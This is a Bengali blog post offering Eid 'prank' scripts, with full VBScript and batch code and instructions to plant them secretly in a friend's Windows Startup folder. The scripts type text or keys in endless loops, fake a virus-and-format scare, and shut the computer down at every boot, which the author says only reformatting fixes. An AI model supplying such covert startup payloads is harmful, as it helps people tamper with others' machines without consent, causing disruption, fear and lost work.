সবাইকে ঈদের শুভেচ্ছা। ঈদ কেমন কেটেছে সবার। নিশ্চয়ই অনেক ভাল। আমারটা ভালো হয় নাই। কালকে অনেক টিউনার আপনাদের ঈদ উপহার দিয়েছে। আমি দিতে পারি নাই। তাই একটা লেট উপহার নিয়ে আমিও হাজির হলাম আজ।
আমারটা অবশ্য এই সময়ের জন্য বেশ কার্যকরী। কেননা বন্ধুরা সবাই বাড়ি থেকে এসে দাওয়াত দিবে আপনাকে। ঈদের সময় মজা না করে শুধু খেয়েই চলে আসবেন তা তো হয়না। তাই কোন এক ফাকে বন্ধুর কম্পিউটার হাতে পেলে। দেখিয়ে দিন আপনার তেলেসমাতি।
আজ আমি আপনাদের কয়েকটা ভিবি স্ক্রিপ্টের সাথে পরিচয় করিয়ে দেব। একটা ভয়ানক অন্যগুলো মজার।

১. প্রথমেই আসি সহজ সরল একটা প্রোগ্রামে। আপনার কোন বন্ধুর হয়তো টাইপিং অনেক স্লো। তার ঘারে একটা ভূত চাপিয়ে দিয়ে আসুন। কিছুদিনের মধ্যেই তার টাইপিং স্পিড বোল্টকেও হার মানাবে।
-নোটপ্যাড খুলুন আর নিচের কোড গুলো লিখুনঃ

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys " RE "
WScript.Sleep 500
WshShell.SendKeys ", Gha"
WScript.Sleep 500
WshShell.SendKeys "da"
WScript.Sleep 500
WshShell.SendKeys " re!"
WScript.Sleep 500
WshShell.SendKeys "hath"
WScript.Sleep 500
WshShell.SendKeys " cala."
WScript.Sleep 500
WshShell.SendKeys " Aro"
WScript.Sleep 500
WshShell.SendKeys "Tara"
WScript.Sleep 500
WshShell.SendKeys "tari"
WScript.Sleep 500
WshShell.SendKeys " type"
WScript.Sleep 500
WshShell.SendKeys " k"
WScript.Sleep 500
WshShell.SendKeys "or"

এরপর এটি আপনার নামে vbs ফরম্যাটে সেভ করুন(maakn.vbs)। তারপর ফাইলটি স্টার্ট আপে (C:\Documents and Settings\YOUR USER NAME\Start Menu\Programs\Startup এ যান।) রেখে আসুন। এরপর আপনার বন্ধু প্রতিবার পিসি অন করে প্রথম বার টাইপ করার সময় দেখবে মজা।

২. এবার শাস্তি দিন আপনার ভীতু বন্ধুটিকে। নিচের কোড লিখুনঃ

Msgbox "Your computer has been infected by a

virus",16,"Warning !"
dim x,yes,no
x=Msgbox("Virus has infected hard drive (C:).

Deletion of the virus will require complete

formatting of hard drive (C:). Would you like to

format hard drive (C:) ?",52,"Warning !")
if x=6 then
dim box
box=Msgbox("Hard drive (C:) formatting complete. In

order to function correctly your computer must

restart, would you like to restart now

?",36,"Formatting has been completed")
if box=6 then
Msgbox "Fatal error, code 08x48631643.B-

7",16,"ERROR"
Msgbox "You Fool! Dont you know me? I'm your best friend.
Are you scared. Dont worry. Nothing happend my friend.
ha ha",64,"Made by Maakn"
end if
if box=7 then
Msgbox "Fatal error, code 08x48631643.B-

7",16,"ERROR"
Msgbox "You Fool! Dont you know me? I'm your best friend.
Are you scared. Dont worry. Nothing happend my friend.
ha ha",64,"Made by Maakn"
end if
end if
if x=7 then
Msgbox "Fatal error, code 08x48631643.B-

7",16,"ERROR"
Msgbox "You Fool! Dont you know me? I'm your best friend.
Are you scared. Dont worry. Nothing happend my friend.
ha ha",64,"Made by Maakn"
end if

যথারীতি সেভ করে নির্দিষ্ট যাইয়গায় রেখে আসুন। তারপর মজা.....মজা.....

৩.  প্রথমটার মত আরেকটা মজা এবার। নিচের কোডটি টাইপ করুনঃ

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

যথারীতি সেভ করে নির্দিষ্ট যায়গায় রেখে আসুন। তারপর মজা.....মজা.....আপনার বন্ধুটি টাইপিং ছেড়ে দিবে...তবু ভুত ছাড়বে না...হা হা হা

এরকম আরো কয়েকটা মজার কোডঃ

৪.
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
ক্রমাগত এন্টার চাপায় এর কাজ...

৫.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
ক্রমাগত ক্যপস লক চাপবে

৬.
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
ক্রমাগত ব্যাকস্পেস চাপবে

৭. এবার একটা ভয়ংকর কোড দিই। সাবধান একবার স্টার্টআপে রেখে আসলে ফরম্যাট ছাড়া গতি নাই কিন্তু নতুনদের জন্য মানা!!!!!!

@echo off
msg * I don't like you
shutdown -c "Error! My name is MAAKN!" -s

ও এটা আবার .bat. ফরম্যাট এ সেভ করতে হবে(maakn.bat)
হা হা হা হা

পুনশ্চঃ এবার ঈদে যারা যারা ঘর(ট....) থেকে বের হতে পারবেন এই মজা শুধু তাদের জন্য প্রযোজ্য। হা হা হা।
ঈদ মোবারক।